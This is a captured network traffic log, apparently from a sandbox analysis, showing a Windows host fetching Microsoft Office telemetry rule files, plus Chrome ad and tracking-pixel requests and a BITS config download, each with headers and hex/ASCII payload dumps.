2024-10-14 22:39:51 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: c1f175ba-101e-0028-7611-1c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223951Z-17db6f7c8cf4g2pjavqhm24vp4000000076000000000fd9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:51 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:51 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 466b9802-701e-000d-0d1f-1c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223951Z-17db6f7c8cfvtw4hh2496wp8p800000005b000000000qagg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:51 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d08e5818-a01e-003d-3417-1c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223951Z-17db6f7c8cfvtw4hh2496wp8p800000005hg000000002pa0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:51 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49796	142.250.184.194	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	2282	OUT	GET /pagead/ads?client=ca-pub-5999781818075238&output=html&adk=1812271804&adf=3025194257&abgtt=6&lmt=1728937851&plat=1%3A16777216%2C2%3A16777216%2C3%3A16%2C4%3A16%2C9%3A32776%2C16%3A8388608%2C17%3A32%2C24%3A32%2C25%3A32%2C30%3A1081344%2C32%3A32%2C41%3A32%2C42%3A32&format=0x0&url=https%3A%2F%2Fwww.mycimalive.com%2F&host=ca-host-pub-1556223355139109&pra=5&wgl=1&aihb=0&asro=0&ailel=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aiael=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aicel=33&aifxl=29_18~30_19&aiixl=29_5~30_6&aslmct=0.7&asamct=0.7&aiict=1&aiopts=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&dt=1728945587196&bpp=15&bdt=1401&idt=2132&shv=r20241009&mjsv=m202410080101&ptt=9&saldr=aa&abxe=1&cookie_enabled=1&eoidce=1&nras=1&correlator=1312372006252&frm=20&pv=2&u_tz=-240&u_his=1&u_h=1024&u_w=1280&u_ah=984& [TRUNCATED] Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	759	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:51 GMT Server: cafe Cache-Control: private X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Mon, 14-Oct-2024 22:54:51 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:51 GMT Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:51 UTC	610	IN	Data Raw: 32 35 62 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 25b<html><body style="background-color:transparent"></body></html>
2024-10-14 22:39:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:51 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2cf7c92e-401e-0015-4117-1c0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223951Z-17db6f7c8cfvtw4hh2496wp8p800000005bg00000000p44a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49803	139.45.195.8	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	693	OUT	GET /img.gif?f=merge&userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf HTTP/1.1 Host: my.rtmark.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oughoaghushouru.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	659	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:52 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:52 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 66411a6b-c01e-00a1-1eca-1a7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cfp6mfve0htepzbps00000006fg000000006440 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 52965a57-601e-000d-5970-1c2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cffhvbz3mt0ydz7x4000000054g00000000mrv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0e59abf9-f01e-003c-2b47-1c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cfjxfnba42c5rukwg000000040000000000aupw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 6aeebda2-001e-008d-31ea-1ad91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223952Z-17db6f7c8cf4g2pjavqhm24vp4000000079g000000004m7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49809	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-14 22:39:52 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=65084 Date: Mon, 14 Oct 2024 22:39:52 GMT Content-Length: 55 Connection: close X-CID: 2
